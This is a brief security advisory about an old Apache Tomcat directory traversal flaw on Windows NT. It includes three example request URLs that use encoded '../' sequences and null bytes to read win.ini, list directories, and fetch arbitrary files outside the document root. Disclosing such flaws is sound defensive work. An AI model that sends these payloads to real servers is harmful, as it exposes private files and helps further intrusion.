source: http://www.securityfocus.com/bid/2518/info Apache Tomcat in a Windows NT environment could be led to traverse the normal directory structure and return requested files from outside of the document root. By including '/../' sequences along with specially chosen characters in requested URLs, a remote user can obtain read access to directories and files outside of the document root, potentially compromising the privacy of user data and/or obtaining information which could be used to further compromise the host. The following examples have been provided by lovehacker <firstname.lastname@example.org>: http://www.example.com/../../winnt/win.ini%00examples/jsp/hello.jsp Will cause the Tomcat server to send back the content of win.ini. http://www.example.com/%2e%2e/%2e%2e/%00.jsp will disclose a directory listing from outside Tomcat's normal directory tree. http://www.example.com/%2e%2e/%2e%2e%5cfilename%00.jsp will reveal the requested file [filename].
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